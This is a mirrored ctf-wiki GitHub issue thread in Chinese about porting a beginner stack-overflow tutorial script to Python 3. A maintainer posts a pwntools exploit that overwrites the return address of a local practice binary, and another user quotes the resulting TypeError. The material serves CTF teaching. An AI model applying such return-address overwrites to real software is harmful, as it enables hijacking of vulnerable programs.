GithubHelp home page GithubHelp logo

Comments (3)

iromise avatar iromise commented on May 24, 2024

@james-ma 这个脚本之前应该是用 python2 写的。你可以把改成 python3。

from ctf-wiki.

arttnba3 avatar arttnba3 commented on May 24, 2024

脚本编写年代较为久远(当时主流还是python2 ),你可以先自行将其更改为 Python3 的写法:

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

Wiki 组将择日进行相关脚本的更新。

from ctf-wiki.

WinMin avatar WinMin commented on May 24, 2024

ctf-wiki/docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86 /stackoverflow-basic.md 中执行 p32(success_addr) 和字符串拼接的时候报错。 我应该怎么改进呢?

payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)

TypeError Traceback (most recent call last) Cell In[5], line 1 ----> 1 payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)

TypeError: can only concatenate str (not "bytes") to str

#6dbb7ed 关于这个文件的代码已经修改, 具体修改也可以参考上面 @arttnba3 的回复

from ctf-wiki.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.